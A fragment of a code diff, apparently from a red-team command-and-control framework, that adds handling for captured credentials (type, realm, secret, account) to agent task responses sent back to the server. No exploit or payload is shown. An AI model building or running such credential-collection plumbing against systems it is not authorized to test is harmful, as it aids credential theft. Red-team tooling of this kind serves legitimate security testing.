remaining_data = remaining_data[offset:]
|
||||
except:
|
||||
break
|
||||
else:
|
||||
# No more artifacts
|
||||
# No more artifacts or credentials
|
||||
break
|
||||
|
||||
try:
|
||||
@@ -297,6 +376,23 @@ def postResponse(data):
|
||||
if len(artifacts) > 0:
|
||||
jsonTask["artifacts"] = artifacts
|
||||
print(f"[ARTIFACTS] Total de artifacts agregados: {len(artifacts)}")
|
||||
|
||||
# Support for credentials: create credentials from parsed data
|
||||
credentials = []
|
||||
|
||||
# Process all detected credentials
|
||||
for cred_info in credentials_data:
|
||||
credentials.append({
|
||||
"credential_type": cred_info["credential_type"],
|
||||
"realm": cred_info["realm"],
|
||||
"credential": cred_info["credential"],
|
||||
"account": cred_info["account"]
|
||||
})
|
||||
|
||||
# Add credentials array if we have any
|
||||
if len(credentials) > 0:
|
||||
jsonTask["credentials"] = credentials
|
||||
print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
|
||||
|
||||
resTaks.append(jsonTask)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user